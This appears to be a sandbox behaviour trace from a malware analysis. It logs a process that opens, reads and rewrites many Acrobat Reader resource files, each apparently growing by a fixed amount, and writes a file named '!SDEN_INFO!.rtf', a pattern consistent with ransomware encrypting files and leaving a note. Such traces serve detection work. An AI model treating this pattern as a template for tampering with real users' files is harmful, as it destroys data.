File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ui-strings.js, size = 2631	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\da-dk\ui-strings.js, size = 854, size_out = 854	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\da-dk\ui-strings.js, size = 2270	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\hr-hr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\hr-hr\ui-strings.js, size = 856, size_out = 856	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\hr-hr\ui-strings.js, size = 2272	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\root\ui-strings.js, size = 850, size_out = 850	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\root\ui-strings.js, size = 2266	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\plugin.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\plugin.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\plugin.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\illustrations_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\illustrations_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\illustrations_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\illustrations_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\new_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\new_icons.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\new_icons.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\new_icons.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\eu-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\eu-es\ui-strings.js, size = 1057, size_out = 1057	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\eu-es\ui-strings.js, size = 2473	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\nl-nl\ui-strings.js, size = 1078, size_out = 1078	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\nl-nl\ui-strings.js, size = 2494	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ui-strings.js, size = 1105, size_out = 1105	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ui-strings.js, size = 2521	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\de-de\ui-strings.js, size = 1071, size_out = 1071	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\de-de\ui-strings.js, size = 2487	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\it-it\ui-strings.js, size = 1026, size_out = 1026	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\it-it\ui-strings.js, size = 2442	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\sk-sk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\sk-sk\ui-strings.js, size = 1050, size_out = 1050	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\sk-sk\ui-strings.js, size = 2466	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files-select\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files-select\js\plugin.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files-select\js\plugin.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files-select\js\plugin.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\de-de\ui-strings.js, size = 4545, size_out = 4545	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\de-de\ui-strings.js, size = 5961	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ja-jp\ui-strings.js, size = 4877, size_out = 4877	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ja-jp\ui-strings.js, size = 6293	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\sl-si\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\sl-si\ui-strings.js, size = 4419, size_out = 4419	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\sl-si\ui-strings.js, size = 5835	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\css\main.css, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\css\main.css, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\css\main.css, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\css\main.css, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-getting-started-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-getting-started-2x.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-getting-started-2x.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-getting-started-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-getting-started-2x.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\close_dark.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\close_dark.svg, size = 1390, size_out = 1390	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\close_dark.svg, size = 2806	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\error-icon.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\error-icon.png, size = 1325, size_out = 1325	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\error-icon.png, size = 2741	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen-hover.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen-hover.svg, size = 3637, size_out = 3637	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen-hover.svg, size = 5053	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\improved-office-to-pdf-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\improved-office-to-pdf-2x.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\improved-office-to-pdf-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\improved-office-to-pdf-2x.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\de-de\PlayStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\de-de\PlayStore_icon.svg, size = 5693, size_out = 5693	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\de-de\PlayStore_icon.svg, size = 7109	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\it-it\PlayStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\it-it\PlayStore_icon.svg, size = 7618, size_out = 7618	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\it-it\PlayStore_icon.svg, size = 9034	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\pt-br\AppStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\pt-br\AppStore_icon.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\pt-br\AppStore_icon.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\pt-br\AppStore_icon.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\zh-tw\AppStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\zh-tw\AppStore_icon.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\!SDEN_INFO!.rtf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\!SDEN_INFO!.rtf, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-en_us.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-en_us.gif, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-en_us.gif, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-en_us.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-en_us.gif, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\PDFInWord-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\PDFInWord-2x.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\PDFInWord-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Google\Chrome\Application\61.0.3163.79\nacl_irt_x86_64.nexe, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\theme-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\theme-2x.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\theme-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\theme-2x.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\WorkBetter-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\WorkBetter-2x.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\WorkBetter-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\WorkBetter-2x.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\eu-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\eu-es\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\eu-es\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\eu-es\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\nl-nl\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\nl-nl\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\nl-nl\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ui-strings.js, size = 1204, size_out = 1204	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ui-strings.js, size = 2620	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\rhp_world_icon.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\rhp_world_icon.png, size = 445, size_out = 445	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\rhp_world_icon.png, size = 1861	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\da-dk\ui-strings.js, size = 1113, size_out = 1113	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\da-dk\ui-strings.js, size = 2529	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\root\ui-strings.js, size = 1097, size_out = 1097	1	Fn Data
